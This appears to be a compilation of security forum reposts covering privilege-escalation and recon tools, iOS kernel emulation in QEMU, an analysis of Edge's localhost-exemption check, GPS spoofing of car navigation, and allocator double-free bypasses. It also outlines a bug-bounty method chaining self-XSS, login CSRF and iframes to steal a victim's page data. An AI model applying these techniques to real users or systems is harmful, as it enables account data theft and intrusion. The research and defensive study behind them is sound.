Nytro

BeRoot Project BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege. It has been added to the pupy project as a post exploitation module (so it will be executed in memory without touching the disk). This tool does not realize any exploitation. It mains goal is not to realize a configuration assessment of the host (listing all services, all processes, all network connection, etc.) but to print only information that have been found as potential way to escalate our privilege. This project works on Windows, Linux and Mac OS. You could find the Windows version here and the Linux and Mac OS here I recommend reading the README depending on the targeted OS, to better understand what's happening. I tried to implement most technics described in this picture: Enjoy Interesting projects Windows / Linux Local Privilege Escalation Workshop Linux tools Windows tools Sursa: https://github.com/AlessandroZ/BeRoot

awesome-windows-kernel-security-development ❤️ windows kernel driver with c++ runtime https://github.com/wjcsharp/Common https://github.com/ExpLife/DriverSTL https://github.com/sysprogs/BazisLib https://github.com/AmrThabet/winSRDF https://github.com/sidyhe/dxx https://github.com/zer0mem/libc https://github.com/eladraz/XDK https://github.com/vic4key/Cat-Driver https://github.com/AndrewGaspar/km-stl https://github.com/zer0mem/KernelProject https://github.com/zer0mem/miniCommon https://github.com/jackqk/mystudy https://github.com/yogendersolanki91/Kernel-Driver-Example Full list: https://github.com/ExpLife0011/awesome-windows-kernel-security-development

Tutorial - emulate an iOS kernel in QEMU up to launchd and userspace Jul 21, 2018 I got launchd and recoveryd to start on an emulated iPhone running iOS 12 beta 4’s kernel using a modified QEMU. Here’s what I learned, and how you can try this yourself. Introduction This is Part 2 of a series on the iOS boot process. Part 1 is here. Sign up with your email to be the first to read new posts. skip to: tutorial, writeup First, let me repeat: this is completely useless unless you’re really interested in iOS internals. If you want to run iOS, you should ask @CorelliumHQ instead, or just buy an iPhone. I’ve been interested in how iOS starts, so I’ve been trying to boot the iOS kernel in QEMU. I was inspired by @cmwdotme’s Corellium, a service which can boot any iOS in a virtual machine. Since I don’t have 9 years to build a perfect simulation of an iPhone, I decided to go for a less lofty goal: getting enough of iOS emulated until launchd, the first program to run when iOS boots, is able to start. Since last week’s post, I got the iOS 12 beta 4 kernel to fully boot in QEMU, and even got it to run launchd and start recoveryd from the restore ramdisk. Here’s the output from the virtual serial port: iBoot version: corecrypto_kext_start called FIPSPOST_KEXT [64144875] fipspost_post:156: PASSED: (4 ms) - fipspost_post_integrity FIPSPOST_KEXT [64366750] fipspost_post:162: PASSED: (1 ms) - fipspost_post_hmac FIPSPOST_KEXT [64504187] fipspost_post:163: PASSED: (0 ms) - fipspost_post_aes_ecb FIPSPOST_KEXT [64659750] fipspost_post:164: PASSED: (0 ms) - fipspost_post_aes_cbc FIPSPOST_KEXT [72129500] fipspost_post:165: PASSED: (117 ms) - fipspost_post_rsa_sig FIPSPOST_KEXT [76481625] fipspost_post:166: PASSED: (67 ms) - fipspost_post_ecdsa FIPSPOST_KEXT [77264187] fipspost_post:167: PASSED: (11 ms) - fipspost_post_ecdh FIPSPOST_KEXT [77397875] fipspost_post:168: PASSED: (0 ms) - fipspost_post_drbg_ctr FIPSPOST_KEXT [77595812] fipspost_post:169: PASSED: (1 ms) - fipspost_post_aes_ccm FIPSPOST_KEXT [77765500] fipspost_post:171: PASSED: (1 ms) - fipspost_post_aes_gcm FIPSPOST_KEXT [77941875] fipspost_post:172: PASSED: (1 ms) - fipspost_post_aes_xts FIPSPOST_KEXT [78176875] fipspost_post:173: PASSED: (1 ms) - fipspost_post_tdes_cbc FIPSPOST_KEXT [78338625] fipspost_post:174: PASSED: (1 ms) - fipspost_post_drbg_hmac FIPSPOST_KEXT [78460125] fipspost_post:197: all tests PASSED (233 ms) AUC[<ptr>]::init(<ptr>) AUC[<ptr>]::probe(<ptr>, <ptr>) Darwin Image4 Validation Extension Version 1.0.0: Mon Jul 9 21:36:59 PDT 2018; root:AppleImage4-1.200.16~357/AppleImage4/RELEASE_ARM64 AppleCredentialManager: init: called, instance = <ptr>. ACMRM: init: called, ACMDRM_ENABLED=YES, ACMDRM_STATE_PUBLISHING_ENABLED=YES, ACMDRM_KEYBAG_OBSERVING_ENABLED=YES. ACMRM: _loadRestrictedModeForceEnable: restricted mode force-enabled = 0 . ACMRM-A: init: called, . ACMRM-A: _loadAnalyticsCollectionPeriod: analytics collection period = 86400 . ACMRM: _getDefaultStandardModeTimeout: default standard mode timeout = 604800 . ACMRM: _loadStandardModeTimeout: standard mode timeout = 604800 . ACMRM-A: notifyStandardModeTimeoutChanged: called, value = 604800 (modified = YES). ACMRM: _loadGracePeriodTimeout: device lock timeout = 3600 . ACMRM-A: notifyGracePeriodTimeoutChanged: called, value = 3600 (modified = YES). AppleCredentialManager: init: returning, result = true, instance = <ptr>. AUC[<ptr>]::start(<ptr>) AppleKeyStore starting (BUILT: Jul 9 2018 21:51:06) AppleSEPKeyStore::start: _sep_enabled = 1 AppleCredentialManager: start: called, instance = <ptr>. AppleCredentialManager: start: initializing power management, instance = <ptr>. AppleCredentialManager: start: started, instance = <ptr>. AppleCredentialManager: start: returning, result = true, instance = <ptr>. AppleARMPE::getGMTTimeOfDay can not provide time of day: RTC did not show up : apfs_module_start:1277: load: com.apple.filesystems.apfs, v748.200.53, 748.200.53.0.1, 2018/07/09 com.apple.AppleFSCompressionTypeZlib kmod start IOSurfaceRoot::installMemoryRegions() IOSurface disallowing global lookups apfs_sysctl_register:818: done registering sysctls. com.apple.AppleFSCompressionTypeZlib load succeeded L2TP domain init L2TP domain init complete PPTP domain init BSD root: md0, major 2, minor 0 apfs_vfsop_mountroot:1468: apfs: mountroot called! apfs_vfsop_mount:1231: unable to root from devvp <ptr> (root_device): 2 apfs_vfsop_mountroot:1472: apfs: mountroot failed, error: 2 hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 boot-args = debug=0x8 kextlog=0xfff cpus=1 rd=md0 Thu Jan 1 00:00:05 1970 localhost com.apple.xpc.launchd[1] <Notice>: Restore environment starting. If you would like to examine iOS’s boot process yourself, here’s how you can try it out. Building QEMU The emulation uses a patched copy of QEMU, which must be compiled from source. Install dependencies To compile QEMU, you first need to install some libraries. macOS: According to the QEMU wiki and the Homebrew recipe, you need to install Xcode and Homebrew, then run brew install pkg-config libtool jpeg glib pixman to install the required libraries to compile QEMU. Ubuntu 18.04: According to the QEMU wiki, run sudo apt install libglib2.0-dev libfdt-dev libpixman-1-dev zlib1g-dev libsdl1.2-dev to install the required libraries to compile QEMU. Windows: QEMU can be built on Windows, but their instructions doesn’t seem to work for this modified QEMU. Please build on macOS or Linux instead. You can set up a virtual machine running Ubuntu 18.04 with Virtualbox or VMWare Player. Download and build source Open a terminal, and run git clone https://github.com/zhuowei/qemu.git cd qemu git submodule init git submodule update mkdir build-aarch64 cd build-aarch64 ../configure --target-list=aarch64-softmmu make -j4 Preparing iOS files for QEMU Once QEMU is compiled, you need to obtain the required iOS kernelcache, device tree, and ramdisk. If you don’t want to extract these files yourself, I packaged all the files you need from iOS 12 beta 4. You can download this archive if you sign up for my mailing list. If you want to extract your own files directly from an iOS update, here’s how: 1. Download the required files: Download my XNUQEMUScripts repository: git clone https://github.com/zhuowei/XNUQEMUScripts.git cd XNUQEMUScripts Download the iOS 12 beta 4 for iPhone X. To decompress the kernel, download newosxbook’s Joker tool. 2. Extract the kernel using Joker: ./joker.universal -dec ~/path/to/iphonex12b4/kernelcache.release.iphone10b mv /tmp/kernel kcache_out.bin replace joker.universal with joker.ELF64 if you are using Linux. 3. extract the ramdisk: dd if=~/path/to/iphonex12b4/048-22007-059.dmg bs=27 skip=1 of=ramdisk.dmg 4. Modify the devicetree.dtb file: python3 modifydevicetree.py ~/Path/To/iphonex12b4/Firmware/all_flash/DeviceTree.d22ap.im4p devicetree.dtb Installing a debugger You will also need lldb or gdb for arm64 installed. macOS The version of lldb included in Xcode 9.3 should work. (Later versions should also work.) You don’t need to install anything in this step. Ubuntu 18.04 I can’t find an LLDB compatible with ARM64: neither the LLDB from the Ubuntu repository nor the version from LLVM’s own repos support ARM64. (Someone please build one!) Instead, you can use GDB on Linux. Two versions of GDB can be used: the version from devkitA64, or the Linaro GDB (recommended). Enter your xnuqemu directory (from the downloaded package or from the clone of the XNUQEMUScripts repo) Run ./linux_installgdb.sh to download the Linaro GDB. Running QEMU Place your qemu directory into the same directory as the scripts, kernel, devicetree, and ramdisk. You should have these files: ~/xnuqemu_dist$ ls README.md lldbit.sh devicetree.dtb lldbscript.lldb devicetreefromim4p.py modifydevicetree.py fixbootdelay_lldbscript_doc.txt qemu gdbit.sh ramdisk.dmg gdbscript.gdb readdevicetree.py kcache_out.bin runqemu.sh linux_installgdb.sh windows_installgdb.sh ./runqemu.sh to start QEMU. $ ./runqemu.sh QEMU 2.12.90 monitor - type 'help' for more information (qemu) xnu in a different terminal, ./lldbit.sh to start lldb, or if you’re using Linux, ./gdbit.sh to start gdb. $ ./lldbit.sh (lldb) target create "kcache_out.bin" Current executable set to 'kcache_out.bin' (arm64). (lldb) process connect --plugin gdb-remote connect://127.0.0.1:1234 (lldb) command source -s 0 'lldbscript.lldb' Executing commands in 'lldbscript.lldb'. (lldb) b *0xFFFFFFF007433BE8 Breakpoint 1: address = 0xfffffff007433be8 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xFFFFFFF005FA5D84 Breakpoint 2: address = 0xfffffff005fa5d84 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e434 Breakpoint 3: address = 0xfffffff00743e434 (lldb) breakpoint command add Enter your debugger command(s). Type 'DONE' to end. (lldb) b *0xfffffff00743e834 Breakpoint 4: address = 0xfffffff00743e834 (lldb) Type c into lldb or gdb to start execution. In the terminal running QEMU, you should see boot messages. Congratulations, you’ve just ran a tiny bit of iOS with a virtual iPhone! Or as UnthreadedJB would say, “#we r of #fakr!” What works Booting XNU all the way to running userspace programs Console output from virtual serial port What doesn’t work Wi-Fi Bluetooth USB Screen Internal storage Everything except the serial port You tell me Seriously, though, this only runs a tiny bit of iOS, and is nowhere close to iOS emulation. To borrow a simile from the creator of Corellium, if Corellium is a DeLorean time machine, then this is half a wheel at most. This experiment only finished the easy part of booting iOS, as it doesn’t emulate an iPhone at all, relying on only the parts common to all ARM devices. No drivers are loaded whatsoever, so there’s no emulation of the screen, the USB, the internal storage… You name it: it doesn’t work. For full iOS emulation, the next step would be reverse engineering the iPhone’s SoC to find out how its peripherals work. Unfortunately, that’s a 9-year project, as shown by the development history of Corellium. I can’t do that on my own - that’s why I wrote this tutorial! It’s my hope that this work inspires others to look into proper iOS emulation - from what I’ve seen, it’ll be a great learning experience. How I did this Last week, I started modifying QEMU to load an iOS kernel and device tree: the previous writeup is here. Here’s how I got from crashing when loading kernel modules to fully booting the kernel. Tweaking CPU emulation, part 3: Interrupting cow When we left off, the kernel crashed with a data abort when it tries to bzero a write only region of memory. Why? To confirm that it’s indeed writing to read-only memory, I implemented a command to dump out the kernel memory mappings, and enabled QEMU’s verbose MMU logging to detect changes to the memory map. I tracked down the crashing code to OSKext::updateLoadedKextSummaries. After every kext load, this code resets the kext summaries region to writable with vm_map_protect, writes information for the new kext, then sets the region back to read-only. The logs show that the call to protect the region modifies the memory mappings, but the call to reset it to read-write doesn’t do anything. Why isn’t it setting the page to writable? According to comments in vm_map_protect, it turns out that readonly->readwrite calls actually don’t change the protection immediately, but only sets it on-demand when a program tries - and fails - to write to the page. This is to implement copy on write. So, it seems the data abort exception is supposed to happen, but the panic is not. In the data abort exception, the page should be set to writable in arm_fast_fault. The code in open-source XNU can only return KERN_FAILURE or KERN_SUCCESS, but with a breakpoint, I saw it was returning KERN_PROTECTION_FAILURE. I checked the disassembly: yes, there’s extra code (0xFFFFFFF0071F953C in iOS 12 beta 4) returning KERN_PROTECTION_FAILURE if the page address doesn’t match one of the new KTRR registers added on the A11 processor . I had been ignoring all writes to KTRR registers, so this code can’t read the value from the register (which the kernel stored at startup), and believes that all addresses are invalid. Thus, instead of setting the page to writable, the kernel panics instead. I fixed this by adding these registers to QEMU’s virtual CPU, allowing the kernel to read and write them. After this change, a few more kexts started up, but the kernel then hangs… like it’s waiting for something. Connecting the timer interrupt My hunch for why the kernel hangs: one of the kexts tries to sleep for some time during initialization, but never wakes up because there are no timer interrupts, as shown by QEMU not logging any exceptions when it hangs. On ARM, there are two ways for hardware to signal the CPU: IRQ, shared by many devices, or FIQ, dedicated to just one device. QEMU’s virt machine hooks up the processor’s timer to IRQ, like most real ARM platforms. FIQ is usually reserved for debuggers. Apple, however, hooks up the timer directly to the FIQ. With virt’s timer hooked up to the wrong signal, the kernel would wait forever for an interrupt that would never come. All I had to do to get the timer working was to hook it up to FIQ. This gets me… a nice panic in the Image4 parser. Getting the Image4 parser module working panic(cpu 0 caller 0xfffffff006c1edb8): "could not instantiate ppl environment: 0x60"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/AppleImage4/AppleImage4-1.200.12/include/abort.h:24 What does this mean? What’s error 0x60? I found the panic string, and looked for where the error message is generated. It turns out that the Image4 parser queries the device tree for various nodes in “/chosen” or “/default”; if the value doesn’t exist, it returns error 0x60. If the value is the wrong size, it returns 0x54. iOS’s device tree is missing two properties: chip-epoch and security-domain, which causes the module to panic with the 0x60 error. Oddly, the device tree doesn’t reserve extra space for these properties. I had to delete two existing properties to make space for them. With the modified device tree, the Image4 module initializes, but now I have a panic from a data abort in rorgn_lockdown. Failed attempt to get device drivers to not crash Of course the KTRR driver crashes when it tries to access the memory controller: there isn’t one! QEMU’s virt machine doesn’t have anything mapped at that address. Since I don’t have an emulation of the memory controller, I just added a block of empty memory to avoid the crash. This strategy didn’t work for the next crash, though, from the AppleInterruptController driver. That driver reads and validates values from the device, so just placing a blank block of memory causes the driver to panic. Something more drastic is needed if I don’t want to spend 9 years reverse engineering each driver. Driverless like we’re Waymo To boot XNU, I don’t really need all those drivers, do I? Who needs interrupts or the screen or power management or storage, anyways? All XNU needs to boot into userspace is a serial port and a timer. I disabled every other driver in the kernel. Drivers are loaded if their IONameMatch property corresponds to a device’s “compatible”, “name”, or “device_type” fields. To disable all the drivers, I erased every “compatible” property in the device tree, along with a few “name” and “device_type” properties. Now, with no drivers, XNU seems to hang, but after I patiently waited for a minute… Waiting on <dict ID="0"><key>IOProviderClass</key><string ID="1">IOMedia</string><key>Content</key><string ID="2">Apple_HFS</string></dict> Still waiting for root device It’s trying to mount the root filesystem! Loading a RAMDisk If it’s looking for a root filesystm, let’s give it one. I don’t have any drivers for storage, but I can mount an iOS Recovery RAMDisk, which requires no drivers. All I had to do was: Load the ramdisk at the end of the kernel, just before the device tree blob put its address and size in the device tree so XNU can find it set boot argument to rd=md0 to boot from ramdisk hfs: mounted PeaceSeed16A5327f.arm64UpdateRamDisk on device b(2, 0) The kernel mounts the root filesystem! … but then hangs again. Using LLDB to patch out hanging functions By putting breakpoints all over bsd_init, I found that the kernel was hanging in IOBSDSecureRoot, when it tries to call the platform function. The platform function looks for a device, but since I removed all the device drivers, it waits forever, in vain. To fix this, I just skipped the problematic call. I used an LLDB breakpoint to jump over the call and simulate a true return instead. And, after three weeks, the virtual serial port finally printed out: : : Darwin Bootstrapper Version 6.0.0: Mon Jul 9 00:39:56 PDT 2018; root:libxpc_executables-1336.200.86~25/launchd/RELEASE_ARM64 “Houston, the kernel has booted.” What I learned quirks of iOS memory management how iOS handles timer interrupts how iOS loads ramdisks building QEMU on different platforms modifying QEMU to add new CPU configuration registers differences between GDB and LLDB’s command syntax how to get people to subscribe to my mailing list. (muhahaha, one last signup link.) Thanks Thanks to everyone who shared or commented on my last article. To those who tried building and running it - sorry about taking so long to write up instructions! Thanks to @matteyeux, @h3adsh0tzz, @_th0ex, and @enzolovesbacon for testing the build instructions. Thanks to @winocm, whose darwin-on-arm project originally inspired me to learn about the XNU kernel. Sursa: https://worthdoingbadly.com/xnuqemu2/

Photon Photon is a lightning fast web crawler which extracts URLs, files, intel & endpoints from a target. Yep, I am using 100 threads and Photon won't complain about it because its in Ninja Mode 😎 Why Photon? Not Your Regular Crawler Crawlers are supposed to recursively extract links right? Well that's kind of boring so Photon goes beyond that. It extracts the following information: URLs (in-scope & out-of-scope) URLs with parameters (example.com/gallery.php?id=2) Intel (emails, social media accounts, amazon buckets etc.) Files (pdf, png, xml etc.) JavaScript files & Endpoints present in them The extracted information is saved in an organized manner. Intelligent Multi-Threading Here's a secret, most of the tools floating on the internet aren't properly multi-threaded even if they are supposed to. They either supply a list of items to threads which results in multiple threads accessing the same item or they simply put a thread lock and end up rendering multi-threading useless. But Photon is different or should I say "genius"? Take a look at this and decide yourself. Ninja Mode In Ninja Mode, 3 online services are used to make requests to the target on your behalf. So basically, now you have 4 clients making requests to the same server simultaneously which gives you a speed boost, minimizes the risk of connection reset as well as delays requests from a single client. Here's a comparison generated by Quark where the lines represent threads: Usage -u --url Specifies the URL to crawl. python photon.py -u http://example.com -l --level It specifies how much deeper should photon crawl. python photon.py -u http://example.com -l 3 Default Value: 2 -d --delay It specifies the delay between requests. python photon.py -u http://example.com -d 1 Default Value: 0 -t --threads The number of threads to use. python photon.py -u http://example.com -t 10 Default Value: 2 Note: The optimal number of threads depends on your connection speed as well as nature of the target server. If you have a decent network connection and the server doesn't have any rate limiting in place, you can use up to 100 threads. -c --cookie Cookie to send. python photon.py -u http://example.com -c "PHPSSID=821b32d21" -n --ninja Toggles Ninja Mode on/off. python photon.py -u http://example.com --ninja Default Value: False -s --seeds Lets you add custom seeds, sperated by commas. python photon -u http://example.com -s "http://example.com/portals.html,http://example.com/blog/2018" Contribution & License Apart from reporting bugs and stuff, please help me add more "APIs" to make the Ninja Mode more powerful. Photon is licensed under GPL v3.0 license. Sursa: https://github.com/s0md3v/Photon

Sunday, 22 July 2018 UWP Localhost Network Isolation and Edge This blog post describes an interesting “feature” added to Windows to support Edge accessing the loopback network interface. For reference this was on Windows 10 1803 running Edge 42.17134.1.0 as well as verifying on Windows 10 RS5 17713 running 43.17713.1000.0. I like the concept of the App Container (AC) sandbox Microsoft introduced in Windows 8. It moved sandboxing on Windows from restricted tokens which were hard to reason about and required massive cludges to get working to a reasonably consistent capability based model where you are heavily limited in what you can do unless you’ve been granted an explicit capability when your application is started. On Windows 8 this was limited to a small set of known capabilities. On Windows 10 this has been expanded massively by effectively allowing an application to define its own capabilities and enforce them though the normal Windows access control mechanisms. I’ve been looking at AC more and it's ability to do network isolation, where access to the network requires being granted capabilities such as “internetClient”, seems very useful. It’s a little known fact that even in the most heavily locked down, restricted token sandbox it’s possible to open network sockets by accessing the raw AFD driver. AC solves this issue quite well, it doesn’t block access to the AFD driver, instead the Firewall checks for the capabilities and blocks connecting or accepting sockets. One issue does come up with building a generic sandboxing mechanism this AC network isolation primitive is regardless of what capabilities you grant it’s not possible for an AC application to access localhost. For example you might want your sandboxed application to access a web server on localhost for testing, or use a localhost proxy to MITM the traffic. Neither of these scenarios can be made to work in an AC sandbox with capabilities alone. The likely rationale for blocking localhost is allowing sandboxed content access can also be a big security risk. Windows runs quite a few services accessible locally which could be abused, such as the SMB server. Rather than adding a capability to grant access to localhost, there's an explicit list of packages exempt from the localhost restriction stored by the firewall service. You can access or modify this list using the Firewall APIs such as the NetworkIsolationSetAppContainerConfig function or using the CheckNetIsolation tool installed with Windows. This behavior seems to be rationalized as accessing loopback is a developer feature, not something which real applications should rely on. Curious, I wondered whether I had AC’s already in the exemption list. You can list all available exemptions by running “CheckNetIsolation LoopbackExempt -s” on the command line. On my Windows 10 machine we can see two exemptions already installed, which is odd for a developer feature which no applications should be using. The first entry shows “AppContainer NOT FOUND” which indicates that the registered SID doesn’t correspond to a registered AC. The second entry shows a very unhelpful name of “001” which at least means it’s an application on the current system. What’s going on? We can use my NtObjectManager PS module and it's 'Get-NtSid' cmdlet on the second SID to see if that can resolve a better name. Ahha, “001” is actually a child AC of the Edge package, we could have guessed this by looking at the length of the SID, a normal AC SID had 8 sub authorities, whereas a child has 12, with the extra 4 being added to the end of the base AC SID. Looking back at the unregistered SID we can see it’s also an Edge AC SID just with a child which isn’t actually registered. The “001” AC seems to be the one used to host Internet content, at least based on the browser security whitepaper from X41Sec (see page 54). This is not exactly surprising. It seems when Edge was first released it wasn’t possible to access localhost resources at all (as demonstrated by an IBM help article which instructs the user to use CheckNetIsolation to add an exemption). However, at some point in development MS added an about:flags option to enable accessing localhost, and seems it’s now the default configuration, even though as you can see in the following screenshot it says enabling can put your device at risk. What’s interesting though is if you disable the flags option and restart Edge then the exemption entry is deleted, and re-enabling it restores the entry again. Why is that a surprise? Well based on previous knowledge of this exemption feature, such as this blog post by Eric Lawrence you need admin privileges to change the exemption list. Perhaps MS have changed that behavior now? Let’s try and add an exemption using the CheckNetIsolation tool as a normal user, passing “-a -p=SID” parameters. I guess they haven’t as adding a new exemption using the CheckNetIsolation tool gives us access denied. Now I’m really interested. With Edge being a built-in application of course there’s plenty of ways that MS could have fudged the “security” checks to allow Edge to add itself to the list, but where is it? The simplest location to add the fudge would be in the RPC service which implements the NetworkIsolationSetAppContainerConfig. (How do I know there's an RPC service? I just disassembled the API). I took a guess and assumed the implementation would be hosted in the “Windows Defender Firewall” service, which is implemented in the MPSSVC DLL. The following is a simplified version of the RPC server method for the API. HRESULT RPC_NetworkIsolationSetAppContainerConfig(handle_t handle, DWORD dwNumPublicAppCs, PSID_AND_ATTRIBUTES appContainerSids) { if (!FwRpcAPIsIsPackageAccessGranted(handle)) { HRESULT hr; BOOL developer_mode = FALSE: IsDeveloperModeEnabled(&developer_mode); if (developer_mode) { hr = FwRpcAPIsSecModeAccessCheckForClient(1, handle); if (FAILED(hr)) { return hr; } } else { hr = FwRpcAPIsSecModeAccessCheckForClient(2, handle); if (FAILED(hr)) { return hr; } } } return FwMoneisAppContainerSetConfig(dwNumPublicAppCs, appContainerSids); } What’s immediately obvious is there's a method call, FwRpcAPIsIsPackageAccessGranted, which has “Package” in the name which might indicate it’s inspecting some AC package information. If this call succeeds then the following security checks are bypassed and the real function FwMoneisAppContainerSetConfig is called. It's also worth noting that the security checks differ depending on whether you're in developer mode or not. It turns out that if you have developer mode enabled then you can also bypass the admin check, which is confirmation the exemption list was designed primarily as a developer feature. Anyway let's take a look at FwRpcAPIsIsPackageAccessGranted to see what it’s checking. const WCHAR* allowedPackageFamilies[] = { L"Microsoft.MicrosoftEdge_8wekyb3d8bbwe", L"Microsoft.MicrosoftEdgeBeta_8wekyb3d8bbwe", L"Microsoft.zMicrosoftEdge_8wekyb3d8bbwe" }; HRESULT FwRpcAPIsIsPackageAccessGranted(handle_t handle) { HANDLE token; FwRpcAPIsGetAccessTokenFromClientBinding(handle, &token); WCHAR* package_id; RtlQueryPackageIdentity(token, &package_id); WCHAR family_name[0x100]; PackageFamilyNameFromFullName(package_id, family_name) for (int i = 0; i < _countof(allowedPackageFamilies); ++i) { if (wcsicmp(family_name, allowedPackageFamilies[i]) == 0) { return S_OK; } } return E_FAIL; } The FwRpcAPIsIsPackageAccessGranted function gets the caller’s token, queries for the package family name and then checks it against a hard coded list. If the caller is in the Edge package (or some beta versions) the function returns success which results in the admin check being bypassed. The conclusion we can take is this is how Edge is adding itself to the exemption list, although we also want to check what access is required to the RPC server. For an ALPC server there’s two security checks, connecting to the ALPC port and an optional security callback. We could reverse engineer it from service binary but it is easier just to dump it from the ALPC server port, again we can use my NtObjectManager module. As the RPC service doesn’t specify a name for the service then the RPC libraries generate a random name of the form “LRPC-XXXXX”. You would usually use EPMAPPER to find the real name but I just used a debugger on CheckNetIsolation to break on NtAlpcConnectPort and dumped the connection name. Then we just find the handle to that ALPC port in the service process and dump the security descriptor. The list contains Everyone and all the various network related capabilities, so any AC process with network access can talk to these APIs including Edge LPAC. Therefore all Edge processes can access this capability and add arbitrary packages. The implementation inside Edge is in the function emodel!SetACLoopbackExemptions. With this knowledge we can now put together some code which will exploit this “feature” to add arbitrary exemptions. You can find the PowerShell script on my Github gist. Wrap Up If I was willing to speculate (and I am) I’d say the reason that MS added localhost access this way is it didn’t require modifying kernel drivers, it could all be done with changes to user mode components. Of course the cynic in me thinks this could actually be just there to make Edge more equal than others, assuming MS ever allowed another web browser in the App Store. Even a wrapper around the Edge renderer would not be allowed to add the localhost exemption. It’d be nice to see MS add a capability to do this in the future, but considering current RS5 builds use this same approach I’m not hopeful. Is this a security issue? Well that depends. On the one hand you could argue the default configuration which allows Internet facing content to then access localhost is dangerous in itself, they point that out explicitly in the about:flags entry. Then again all browsers have this behavior so I’m not sure it’s really an issue. The implementation is pretty sloppy and I’m shocked (well not that shocked) that it passed a security review. To list some of the issues with it: ● The package family check isn’t very restrictive, combined with the weak permissions of the RPC service it allows any Edge process to add an arbitrary exemption. ● The exemption isn’t linked to the calling process, so any SID can be added as an exemption. While it seems the default is only to allow the Internet facing ACs access to localhost because of these weaknesses if you compromised a Flash process (which is child AC “006”) then it could add itself an exemption and try and attack services listening on localhost. It would make more sense if only the main MicrosoftEdge process could add the exemptions, not any content process. But what would make the most sense would be to support this functionality through a capability so that everyone could take advantage of it rather than implementing it as a backdoor. Sursa: https://tyranidslair.blogspot.com/2018/07/uwp-localhost-network-isolation-and-edge.html

July 19, 2018 Using a HackRF to Spoof GPS Navigation in Cars and Divert Drivers Researchers at Virginia Tech, the University of Electronic Science and Technology of China and Microsoft recently released a paper discussing how they were able to perform a GPS spoofing attack that was able to divert drivers to a wrong destination (pdf) without being noticed. The hardware they used to perform the attack was low cost and made from off the shelf hardware. It consisted of a Raspberry Pi 3, HackRF SDR, small whip antenna and a mobile battery pack, together forming a total cost of only $225. The HackRF is a transmit capable SDR. The idea is to use the HackRF to create a fake GPS signal that causes Google Maps running on an Android phone to believe that it's current location is different. They use a clever algorithm that ensures that the spoofed GPS location remains consistent with the actual physical road networks, to avoid the driver noticing that anything is wrong. The attack is limited in that it relies on the driver paying attention only to the turn by turn directions, and not looking closely at the map, or having knowledge of the roads already. For example, spoofing to a nearby location on another road can make the GPS give the wrong 'left/right' audio direction. However, in their real world tests they were able to show that 95% of test subjects followed the spoofed navigation to an incorrect destination. In past posts we've seen the HackRF and other transmit capable SDRs used to spoof GPS in other situations too. For example some players of the once popular Pokemon Go augmented reality game were cheating by using a HackRF to spoof GPS. Others have used GPS spoofing to bypass drone no-fly restrictions, and divert a superyacht. It is also believed that the Iranian government used GPS spoofing to safely divert and capture an American stealth drone back in 2011. Other researchers are working on making GPS more robust. Aerospace Corp. are using a HackRF to try and fuse GPS together with other localization methods, such as by using localizing signals from radio towers and other satellites. [Also seen on Arstechnica] Hardware and Method used to Spoof Car GPS Navigation. Sursa: https://www.rtl-sdr.com/using-a-hackrf-to-spoof-gps-navigation-in-cars-and-divert-drivers/

PeNet PeNet is a parser for Windows Portable Executable headers. It completely written in C# and does not rely on any native Windows APIs. Furthermore it supports the creation of Import Hashes (ImpHash), which is a feature often used in malware analysis. You can extract Certificate Revocation List, compute different hash sums and other useful stuff for working with PE files. For help see the Wiki. The API reference can be found hrere: http://secana.github.io/PeNet License Apache 2 Copyright 2016 Stefan Hausotte Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Sursa: https://github.com/secana/PeNet

Escalating Low Severity Bugs To High Severity This time I am gonna share about some ways that I have learned & applied while participating in bounty programs and was able to escalate Low severity issues to higher severity. Let's Go To the Technical details straight: Note: You might also be able to use Window Object instead of Iframe in the following Cases I mention but it's better to use "Iframe" instead of "Window" to be stealthier and have least User-Interaction though it requires Clickjacking to be present too. Case #1. Self Stored-XSS and Login-Logout CSRF: Pre-Requisites: 1.) Victim must be loggedIn on the Application 2.) Some kind of sensitive information of the currently authenticated user should be present on some page(via Web API etc.) ATTACKER Having Self-Stored XSS in Profile Description: Attack Summary:- 1. Victim Visits Attacker's Page 2. Create 2 Iframes Frame #1(VICTIM) pointing to the sensitive info page (eg. CreditCards, API Keys, Secrets, password hashes, messages etc. which is only visible to the authenticated user) Frame #2(ATTACKER) pointing to Self-Stored XSS page 3. Perform the following on the Attacker Page: Once the Frame #1 is loaded completely a) Logout from Victim's account b) Login to Attacker's/your Account using the login CSRF In the Frame #2 c) Execute the Self-Stored XSS in your(attacker's) and Access the Frame #1 using top.frames[0].document.body.outerHTML since the Same Origin and steal it and send that info to your server Full article: https://www.noob.ninja/2018/07/escalating-low-severity-bugs-to-high.html

double-free-examples Basic code examples of conditions that still work and other nuances relating to double free's primarily in glibc, and to a lesser extent tcmalloc and jemalloc. These primarily revolve around one very basic concept: many allocators "optimize" the double free security checks to only ensure that we are not deallocating the most recently deallocated chunk. This leads to the behavior that if you can deallocate one chunk, then a different one, then the prior one a second time you can bypass the sanity checks. This pattern holds with tcmalloc (chrome/et cetera), jemalloc (firefox) and glibc (linux). Furthermore, the way of the world is moving towards things like vtable/vptr verification and control flow semantics to detect and prevent the corruption of function pointers which have pioneered the bypass to the stack cookie, and GCC now ships with vtable verification. In some instances, we have some rather neat conditions where you can bypass vptr verification and have 2 objects occupy the same memory, a sort of schrodinger's object condition. There is at present no real method for preventing related attacks, beyond ensuring that double free conditions do not occur. (atlanta, seattle - as the paper was moving along my work contract was suddenly canceled and relocated to SEA where I was never given time to work on anything until I punted with the expectation that BH would come back after editing and review. I'm probably the reason they have a board for that sort of thing now, just like I'm probably the reason the SF86 has that last page on it now.) Sursa: https://github.com/jnferguson/double-free-examples

